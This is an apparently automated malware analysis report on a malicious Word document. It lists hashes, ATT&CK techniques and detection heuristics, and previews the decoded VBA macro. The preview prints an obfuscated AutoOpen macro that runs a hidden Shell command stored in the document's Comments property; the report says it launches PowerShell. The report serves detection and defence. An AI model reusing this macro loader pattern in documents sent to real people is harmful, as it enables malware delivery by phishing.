Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cdc5d350aab8bab7…

MALICIOUS

Office (OLE)

52.5 KB Created: 2017-09-29 07:19:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 91775f3a6e770b2d98156bf900fa237c SHA-1: 367e92e12da95612d1a68d520a80f727675156f9 SHA-256: cdc5d350aab8bab7f4f68bdbdf17f233b190367ca14c66c93e88dc16cde45e07
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The 'autoopen' macro triggers the execution of a Shell() command, which in turn invokes PowerShell. This is a common technique for downloading and executing further malicious content. The ClamAV detection 'Doc.Macro.DollarShell-6346616-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    SteSGhCDDyp = "pzUZBWDwtp" + "ufMtUgf" + "DVUZvWfCkup" + "NpYXEZPCLK" + KShdaub = "PXGHCFsfrBL" + "RnCkageRs" + "gmLvwXtGY" + "MTRsHmYuFXm" + mpNudfz = "SHLARVpDKsw" + "ngSwfgdN" + "xtfDgZpUxGc" + "VHGbgNW" + "EYeaZTW"
    VBA.Shell$ "" + "" + RmFLgDYkn + XuDFewtRsBk + WVrVEyp + xwhxCpbfT + pYpNCsGdB + wtrnWsBSSKL + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
    xbUdeMmdHNh = "TYbrFpdZK" + "gGmBSLnZcV" + "CYBKNHg" + "BPwumnfsFDw" + TGBBkmz = "XFSgNwkERM" + "AYzYETFN" + "XZTrCGmEZT" + "XsRkPpTv" + "XdRdcgPMRfw"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub autoopen()
    fTEVaaHY
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1284 bytes
SHA-256: eb5bf01578d613b73ec6fece7c00d57aab06597193ce6e526dd6d5d8ffa99046
Detection
ClamAV: No threats found
Obfuscation or payload: likely
49 of 78 identifiers look randomly generated (e.g. 'xtfDgZpUxGc') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub autoopen()
fTEVaaHY
End Sub
Function fTEVaaHY()
uBnxkcXLB = "TCKNEMVN" + "CBnZbKMxVKy" + "SMfpfmDdAK" + "CXghdsBruF" + dSHrEuMen = "AVHKMdggL" + "KgFdNbmpESp" + "GRrREEx" + "EvSMaecv" + "KrsperHf"
SteSGhCDDyp = "pzUZBWDwtp" + "ufMtUgf" + "DVUZvWfCkup" + "NpYXEZPCLK" + KShdaub = "PXGHCFsfrBL" + "RnCkageRs" + "gmLvwXtGY" + "MTRsHmYuFXm" + mpNudfz = "SHLARVpDKsw" + "ngSwfgdN" + "xtfDgZpUxGc" + "VHGbgNW" + "EYeaZTW"
VBA.Shell$ "" + "" + RmFLgDYkn + XuDFewtRsBk + WVrVEyp + xwhxCpbfT + pYpNCsGdB + wtrnWsBSSKL + ActiveDocument.BuiltInDocumentProperties("Co" + "mme" + "nts"), 0
xbUdeMmdHNh = "TYbrFpdZK" + "gGmBSLnZcV" + "CYBKNHg" + "BPwumnfsFDw" + TGBBkmz = "XFSgNwkERM" + "AYzYETFN" + "XZTrCGmEZT" + "XsRkPpTv" + "XdRdcgPMRfw"
SdTDTPc = "GawSKyh" + "xhvdUvWcL" + "TDPbWMsnaY" + "CEhaEKp" + GCeLaaEdg = "XwDwFtsTu" + "fDMHbEgzY" + "NEcubkvr" + "mTbpbAz" + EURRGah = "wwpzmuKMpgR" + "yfZahNZUBU" + "fHhxuWUUNNp" + "VXhGEEg" + "GGkxrrUGxWY"
End Function